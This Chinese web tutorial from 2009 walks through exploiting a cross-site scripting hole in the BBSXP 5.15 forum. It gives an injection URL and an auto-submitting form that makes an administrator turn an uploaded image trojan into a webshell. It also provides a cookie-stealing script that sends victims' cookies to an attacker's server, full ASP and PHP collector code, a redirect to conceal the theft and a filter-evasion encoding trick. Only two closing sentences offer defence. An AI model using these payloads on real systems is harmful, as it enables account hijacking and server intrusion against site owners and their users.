当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 简单分析Script脚本跨站攻击漏洞技术

安全基础
黑客攻击行为的特征分析及反攻击技术
Windows 2000中隐患重重的十大“服务”
网页脚本攻击防范全攻略
防患于未然 轻松做好Windows 2000安全策略
用注册表为操作系统砌九堵安全墙
完善网站程序 脚本攻击防范策略完全篇
两步修改XP远程管理默认端口可防止入侵
消除Windows XP自身的安全隐患
保护Windows不受恶意代码攻击
如何关闭和限制电脑不用的端口
修改Windows 2000远程终端默认端口
操作系统被入侵后的修复过程
利用微软基准安全分析器打造你安全的系统
数字签名技术简介
检测和删除系统中的木马
QQ密码破解程序
P2P中保障Windows网络安全
在代码中查找安全性缺陷的专家提示
QQ安全的三大纪律八项注意
如何保证文件夹的绝对安全

安全基础 中的 简单分析Script脚本跨站攻击漏洞技术


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-19   浏览: 159 ::
收藏到网摘: n/a

  所谓跨站漏洞呢?其实这和现在比较热门的SQL注入的原理有异曲同工之处,都是由于程序员在写程序的时候对一些变量没有做充分的过滤,或者没做任何的过滤就直接把用户提交的数据送到SQL语句里执行,这样导致了用户所提交的一些特意构造的语句 一般都是带有象JAVAScript等这类脚本代码,这样在服务里一旦被执行就形成了所谓的跨站攻击了。一般来说对于人机交互行比较高的程序,比如论坛,留言版这类程序都比较容易存在跨站script攻击。

   如何判断一个程序是否存在跨站漏洞呢?分析程序是最直接的方法了,比如最近搞的很火的BBSXP5.15的跨站

  漏洞,因为有大虾已经详细的介绍了,偶也就不在详述了,简单的说一下在cookies.asp文件里有这么一句

  Response.Cookies("skins")=""&Request("no")&""然后在setup.asp里

  response.write "<html><head><meta http-equiv=Content-Type content=text/html;charset=gb2312></head>
<link href=images/skins/"&Request.Cookies("skins")&"/bbs.css rel=stylesheet><script src=inc/BBSxp.js></script>
<script src=inc/ybb.js></script><script src=images/skins/"&Request.Cookies("skins")&"/bbs.js></script>" 

  我们可以看到,只要构造符合条件的skin的NO,然后在闭合前面的一个"<"接着就可以在后面加上我们的<script脚本了

  比如:  http://xxx.xxxx.xxx/cookies.asp?menu=skins&no=4><script>document.write(’<IFRAME marginWidth=100 marginHeight=100 src="http://www.baidu.com"frameBorder=100width=0scrolling=noheight=0to ... gin="0"></IFRAME>’);</script><script>   

  这样提交就可以达到我们的跨站目的了,(这个我动画里已经有演示了)

  而跟深一层的利用,我们则可以构造表单,迷惑管理员点我们的帖子,或者联接。比如我们构造

  http://127.0.0.1/bbsxp/page2.asp?username=<body onload="javascript:document.forms[0].submit()">

  <form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post">
<input value="/UploadFile/2005-5/200512365.jpg" name="yl" >
<input value="database/haha.asp" name="bf" >
</body></html>
/UploadFile/2005-5/200512365.jpg
这是你的ASP图片木马

  这样我们就如果让管理员浏览了我们的留言,那么这个脚本就会自动把/UploadFile/2005-5/200512365.jpg

  备份成database/haha.asp。我们也就有了可爱的webshell了。而为什么要管理员浏览才有效呢?因为服务器上是存在cookies和session机制的

  而session其实是在服务器端的tmp目录下的某一个文件中为每个用户储存一些变量,对session的操作其实是对文件读写操作。

  seesion是每个用户都有自己的session。他们的生命周期一般是用户打开某网站浏览器到关闭与次网站连接所

  有的浏览器后结束。cookie这是在用户端的存贮机制,他需要用户的打开cookie支持,所以只有管理才有权利把我们JPG备份在ASP 
    
  现在大家用的比较常见的就是盗取cookies而后欺骗,或者利用社会工程学进一步入侵比如我们构造下面的脚本代码就可以盗取用户cookies了 

  javascript:window.open(‘http://xxx.xxx.xxx/cookies.asp?msg=’+document.cookie)

  其中http://xxx.xxx.xxx/是大家自己网站空间,cookies.asp是一个asp脚本用于收集

 

  msg后边跟的参数,而参数我们指定的是document.cookie,也就是访问此贴用户的cookie。

  cookies.asp的代码是:
<%

  testfile=Server.MapPath("hun.txt")

  msg=Request("msg")

  set fs=server.CreateObject("scripting.filesystemobject")

  set thisfile=fs.OpenTextFile(testfile,8,True,0)

  thisfile.WriteLine(""&msg& "")

  thisfile.close

  set fs = nothing

  %> 

  这样所有访问者的cookie都会收集在hun.txt这个文件里

  但是访问者访问我们的帖子,同样会访问到我们的网站的,这样不是露馅了吗?呵呵,但只要我们稍做处理

  就可以做的相对真实,比如我们加上下面的代码

  <script language=vbscript> 
window.location.href="http://xxx.xxx.xxx" 
</script>

  这个xxx.xxx.xxx最好换成你攻击的网站的域名,这样做的目的是在他访问我们精心构造的网站同时开打他

  自己的网站,呵呵,这样是不是会更隐蔽一点呢?

  这个cookies.asp和有一个同样作用的cookies.php一样,附代码如下:
<?php 
$info = getenv("QUERY_STRING"); 
if ($info) { 
$fp = fopen("cookies.txt","a"); 
fwrite($fp,$info."\n"); 
fclose($fp); 

?>  

  但是大部份做的不错的论坛,都过滤了javascript这些字符。不过还是有方法可以利用的,

  可以在论坛发的贴里将javascript写成ascii码。像j可以写成”&#x6a;” 
    
  防范的方法,就是过滤字符像javascript/<script>/’/;/&/#了等等,

  当然前提是你的网页还要正常显示。建议大家不要轻易打开一些不明url,要将自己的信箱、论坛、QQ等资料的密码设的都不一样,

  如果一旦资料或密码被盗,避免引连锁反应,所有资料和密码都被别人获得。这就要用到博大精深是社会工程学了。

    总结一下吧。跨站的技巧性很强,呵呵大家多积累经验用起来会达到事半功倍的效果。